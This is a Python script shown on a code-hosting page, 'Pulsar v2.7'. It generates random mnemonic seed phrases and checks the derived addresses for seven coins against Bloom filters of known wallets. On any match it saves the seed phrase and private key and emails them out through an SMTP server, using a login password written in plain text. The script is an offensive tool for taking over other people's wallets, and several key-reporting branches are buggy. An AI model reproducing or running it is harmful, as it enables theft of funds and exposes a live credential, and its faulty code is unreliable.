-
Notifications
You must be signed in to change notification settings - Fork 10
/
main.py
420 lines (400 loc) · 18.6 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
# #!/usr/bin/python3
# encoding=utf8
# -*- coding: utf-8 -*-
import smtplib
from bip_utils import Bip32, Bip32Utils, Bip44, Bip44Coins, Bip44Changes
from bloomfilter import BloomFilter
from mnemonic import Mnemonic
import sys
import argparse
import time
version:str = ' Pulsar v2.7 '
mnemonic_lang:list = ['english', 'chinese_simplified', 'french', 'spanish']
fl_44:list = ['ltc.bf','dash.bf','eth.bf','doge.bf','cash.bf','sv.bf','btc.bf']
fl_32:list = ['btc.bf', 'sv.bf','cash-legacy.bf']
def createParser ():
parser = argparse.ArgumentParser(description='select bip')
parser.add_argument ('-b', '--bip', action='store', type=int, help='32 or 44, default bip32', default='32')
parser.add_argument ('-d', '--dir_bf', action='store', type=str, help='directories to BF', default='bf')
return parser.parse_args().bip, parser.parse_args().dir_bf
def send_email(text):
host:str = "smtp.timeweb.ru"
password:str = 'Vfhbyfl66$'
subject:str = "--- Find Mnemonic ---"
to_addr:str = "[email protected]"
from_addr:str = "[email protected]"
BODY:str = "\r\n".join(("From: %s" % from_addr, "To: %s" % to_addr, "Subject: %s" % subject, "", text)).encode('utf-8')
server = smtplib.SMTP(host,25)
server.login(from_addr, password)
try:
server.sendmail(from_addr, [to_addr], BODY)
except UnicodeError:
print('\n'+'Error Encode UTF-8')
finally:
server.quit()
def save_rezult(text:str):
try:
f_rez = open('rezult.txt', 'a', encoding="utf-8")
except FileNotFoundError:
print('\n'+'Файл rezult.txt не найден.')
else:
try:
tf:str = text+'\n'
f_rez.write(tf)
except UnicodeError:
print('\n'+'Error Encode UTF-8')
finally:
f_rez.close()
def work32():
for mem in mnemonic_lang:
mnemo = Mnemonic(mem)
mnemonic:str = mnemo.generate(strength=128)
seed_bytes:bytes = mnemo.to_seed(mnemonic, passphrase="")
bip32_ctx = Bip32.FromSeed(seed_bytes)
for num in range(20):
bip32_ctx_ex = bip32_ctx.DerivePath("0'/0'/" + str(num)) # Bitcoin Core address primary m/0'/0'/0
bip32_addr:str = bip32_ctx_ex.PublicKey().ToAddress()
if bip32_addr in bf_btc:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | BTC'
print(res)
save_rezult(res)
send_email(res)
if bip32_addr in bf_cash:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | CASH'
print(res)
save_rezult(res)
send_email(res)
if bip32_addr in bf_sv:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | SV'
print(res)
save_rezult(res)
send_email(res)
# print("------------------------------------------------------")
for num in range(20):
bip32_ctx_ex = bip32_ctx.DerivePath("0'/0'/" + str(num) + "'") # Bitcoin Core hardened addresses primary m/0'/0'/0'
bip32_addr:str = bip32_ctx_ex.PublicKey().ToAddress()
if bip32_addr in bf_btc:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | BTC'
print(res)
save_rezult(res)
send_email(res)
if bip32_addr in bf_cash:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | CASH'
print(res)
save_rezult(res)
send_email(res)
if bip32_addr in bf_sv:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | SV'
print(res)
save_rezult(res)
send_email(res)
# print("------------------------------------------------------")
for num in range(20):
bip32_ctx_ex = bip32_ctx.DerivePath("0'/0/" + str(num)) # Miltibit HD address
bip32_addr:str = bip32_ctx_ex.PublicKey().ToAddress()
if bip32_addr in bf_btc:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | BTC'
print(res)
save_rezult(res)
send_email(res)
if bip32_addr in bf_cash:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | CASH'
print(res)
save_rezult(res)
send_email(res)
if bip32_addr in bf_sv:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | SV'
print(res)
save_rezult(res)
send_email(res)
# print("------------------------------------------------------")
for num in range(20):
bip32_ctx_ex = bip32_ctx.DerivePath("0'/0/" + str(num) + "'") # Miltibit HD address
bip32_addr:str = bip32_ctx_ex.PublicKey().ToAddress()
if bip32_addr in bf_btc:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | BTC'
print(res)
save_rezult(res)
send_email(res)
if bip32_addr in bf_cash:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | CASH'
print(res)
save_rezult(res)
send_email(res)
if bip32_addr in bf_sv:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | SV'
print(res)
save_rezult(res)
send_email(res)
# print("------------------------------------------------------")
for num in range(20):
bip32_ctx_ex = bip32_ctx.DerivePath("0/" + str(num)) # Miltibit HD hardened addresses
bip32_addr:str = bip32_ctx_ex.PublicKey().ToAddress()
if bip32_addr in bf_btc:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | BTC'
print(res)
save_rezult(res)
send_email(res)
if bip32_addr in bf_cash:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | CASH'
print(res)
save_rezult(res)
send_email(res)
if bip32_addr in bf_sv:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | SV'
print(res)
save_rezult(res)
send_email(res)
# print("------------------------------------------------------")
for num in range(20):
bip32_ctx_ex = bip32_ctx.DerivePath("44'/0'/0'/" + str(num)) # Miltibit HD hardened addresses
bip32_addr:str = bip32_ctx_ex.PublicKey().ToAddress()
if bip32_addr in bf_btc:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | BTC'
print(res)
save_rezult(res)
send_email(res)
if bip32_addr in bf_cash:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | CASH'
print(res)
save_rezult(res)
send_email(res)
if bip32_addr in bf_sv:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | SV'
print(res)
save_rezult(res)
send_email(res)
# print("------------------------------------------------------")
for num in range(20):
bip32_ctx_ex = bip32_ctx.DerivePath("44'/236'/0'/" + str(num)) # Miltibit HD hardened addresses
bip32_addr:str = bip32_ctx_ex.PublicKey().ToAddress()
if bip32_addr in bf_sv:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | SV'
print(res)
save_rezult(res)
send_email(res)
for num in range(20):
bip32_ctx_ex = bip32_ctx.DerivePath("44'/145'/0'/" + str(num)) # Miltibit HD hardened addresses
bip32_addr:str = bip32_ctx_ex.PublicKey().ToAddress()
if bip32_addr in bf_cash:
print('============== Find =================')
bip32_PK = bip32_ctx.PrivateKey().ToWif()
res:str = bip32_addr + ' | TRUE | ' + mnemonic + ' | ' + bip32_PK +' | CASH'
print(res)
save_rezult(res)
send_email(res)
def work44():
for mem in mnemonic_lang:
mnemo = Mnemonic(mem)
mnemonic:str = mnemo.generate(strength=128)
seed_bytes:bytes = mnemo.to_seed(mnemonic, passphrase="")
# btc
bip_obj_mst = Bip44.FromSeed(seed_bytes, Bip44Coins.BITCOIN)
bip_obj_acc = bip_obj_mst.Purpose().Coin().Account(0)
bip_obj_chain = bip_obj_acc.Change(Bip44Changes.CHAIN_EXT)
for nom in range(20):
bip_obj_addr = bip_obj_chain.AddressIndex(nom)
bip_addr:str = bip_obj_addr.PublicKey().ToAddress()
if bip_addr in bf_btc:
print('============== Find =================')
bip44_PK = bip_obj_addr.PrivateKey().ToWif()
res:str = bip_addr + ' -TRUE - ' + mnemonic + ' | ' + bip44_PK +' | BTC'
print(res)
save_rezult(res)
send_email(res)
# btc_cash
bip_obj_mst = Bip44.FromSeed(seed_bytes, Bip44Coins.BITCOIN_CASH)
bip_obj_acc = bip_obj_mst.Purpose().Coin().Account(0)
bip_obj_chain = bip_obj_acc.Change(Bip44Changes.CHAIN_EXT)
for nom in range(20):
bip_obj_addr = bip_obj_chain.AddressIndex(nom)
bip_addr:str = bip_obj_addr.PublicKey().ToAddress()[12:]
if bip_addr in bf_cash:
print('============== Find =================')
bip44_PK = bip_obj_addr.PrivateKey().ToWif()
res:str = bip_addr + ' -TRUE - ' + mnemonic + ' | ' + bip44_PK +' | CASH'
print(res)
save_rezult(res)
send_email(res)
# ltc
bip_obj_mst = Bip44.FromSeed(seed_bytes, Bip44Coins.LITECOIN)
bip_obj_acc = bip_obj_mst.Purpose().Coin().Account(0)
bip_obj_chain = bip_obj_acc.Change(Bip44Changes.CHAIN_EXT)
for nom in range(20):
bip_obj_addr = bip_obj_chain.AddressIndex(nom)
bip_addr:str = bip_obj_addr.PublicKey().ToAddress()
if bip_addr in bf_ltc:
print('============== Find =================')
bip44_PK = bip_obj_addr.PrivateKey().ToWif()
res:str = bip_addr + ' -TRUE - ' + mnemonic + ' | ' + bip44_PK +' | LITECOIN'
print(res)
save_rezult(res)
send_email(res)
# dash
bip_obj_mst = Bip44.FromSeed(seed_bytes, Bip44Coins.DASH)
bip_obj_acc = bip_obj_mst.Purpose().Coin().Account(0)
bip_obj_chain = bip_obj_acc.Change(Bip44Changes.CHAIN_EXT)
for nom in range(20):
bip_obj_addr = bip_obj_chain.AddressIndex(nom)
bip_addr:str = bip_obj_addr.PublicKey().ToAddress()
if bip_addr in bf_dash:
print('============== Find =================')
bip44_PK = bip_obj_addr.PrivateKey().ToWif()
res:str = bip_addr + ' -TRUE - ' + mnemonic + ' | ' + bip44_PK +' | DASH'
print(res)
save_rezult(res)
send_email(res)
# ETH
bip_obj_mst = Bip44.FromSeed(seed_bytes, Bip44Coins.ETHEREUM)
bip_obj_acc = bip_obj_mst.Purpose().Coin().Account(0)
bip_obj_chain = bip_obj_acc.Change(Bip44Changes.CHAIN_EXT)
for nom in range(20):
bip_obj_addr = bip_obj_chain.AddressIndex(nom)
bip_addr:str = bip_obj_addr.PublicKey().ToAddress()
if bip_addr in bf_eth:
print('============== Find =================')
bip32_PK = bip_obj_addr.PrivateKey().ToWif()
res:str = bip_addr + ' -TRUE - ' + mnemonic + ' | ' + bip44_PK +' | ETHEREUM'
print(res)
save_rezult(res)
send_email(res)
# DOGE
bip_obj_mst = Bip44.FromSeed(seed_bytes, Bip44Coins.DOGECOIN)
bip_obj_acc = bip_obj_mst.Purpose().Coin().Account(0)
bip_obj_chain = bip_obj_acc.Change(Bip44Changes.CHAIN_EXT)
for nom in range(20):
bip_obj_addr = bip_obj_chain.AddressIndex(nom)
bip_addr:str = bip_obj_addr.PublicKey().ToAddress()
if bip_addr in bf_doge:
print('============== Find =================')
bip32_PK = bip_obj_addr.PrivateKey().ToWif()
res:str = bip_addr + ' -TRUE - ' + mnemonic + ' | ' + bip44_PK +' | DOGECOIN'
print(res)
save_rezult(res)
send_email(res)
# sv
bip_obj_mst = Bip44.FromSeed(seed_bytes, Bip44Coins.BITCOIN_SV)
bip_obj_acc = bip_obj_mst.Purpose().Coin().Account(0)
bip_obj_chain = bip_obj_acc.Change(Bip44Changes.CHAIN_EXT)
for nom in range(20):
bip_obj_addr = bip_obj_chain.AddressIndex(nom)
bip_addr:str = bip_obj_addr.PublicKey().ToAddress()
if bip_addr in bf_sv:
print('============== Find =================')
bip32_PK = bip_obj_addr.PrivateKey().ToWif()
res:str = bip_addr + ' -TRUE - ' + mnemonic + ' | ' + bip44_PK +' | BITCOIN_SV'
print(res)
save_rezult(res)
send_email(res)
if __name__ == "__main__":
bip, dir = createParser()
if bip == 32:
print("---------------Load BF---------------")
for fl in fl_32:
try:
fp = open(dir+'/'+fl, "rb")
except FileNotFoundError:
print('\n'+'File '+ fl + ' не найден.')
sys.exit()
else:
if fl == 'btc.bf':
bf_btc = BloomFilter.load(fp)
print('load BF '+fl)
if fl == 'sv.bf':
bf_sv = BloomFilter.load(fp)
print('load BF '+fl)
if fl == 'cash-legacy.bf':
bf_cash = BloomFilter.load(fp)
print('load BF '+fl)
ii:int = 1
print("---------------START "+version+"---------------")
while ii > 0:
print(' ', end='\r')
print('Циклов {} '.format(ii),end='\r')
ii +=1
try:
work32()
except KeyboardInterrupt:
print('\n'+'Прервано пользователем.')
sys.exit()
else:
print("---------------Load BF---------------")
for fl in fl_44:
try:
fp = open(dir+'/'+fl, "rb")
except FileNotFoundError:
print('\n'+'File '+ fl + ' не найден.')
sys.exit()
else:
if fl == 'ltc.bf':
bf_ltc = BloomFilter.load(fp)
print('load BF '+fl)
if fl == 'dash.bf':
bf_dash = BloomFilter.load(fp)
print('load BF '+fl)
if fl == 'eth.bf':
bf_eth = BloomFilter.load(fp)
print('load BF '+fl)
if fl == 'doge.bf':
bf_doge = BloomFilter.load(fp)
print('load BF '+fl)
if fl == 'cash.bf':
bf_cash = BloomFilter.load(fp)
print('load BF '+fl)
if fl == 'sv.bf':
bf_sv = BloomFilter.load(fp)
print('load BF '+fl)
if fl == 'btc.bf':
bf_btc = BloomFilter.load(fp)
print('load BF '+fl)
ii:int = 1
print("---------------START "+version+"---------------")
while ii > 0:
print(' ', end='\r')
print('Цыклов {} '.format(ii),end='\r')
ii +=1
try:
#start_time = time.time()
work44()
#print("--- %s seconds ---" % (time.time() - start_time))
except KeyboardInterrupt:
print('\n'+'Прервано пользователем.')
sys.exit()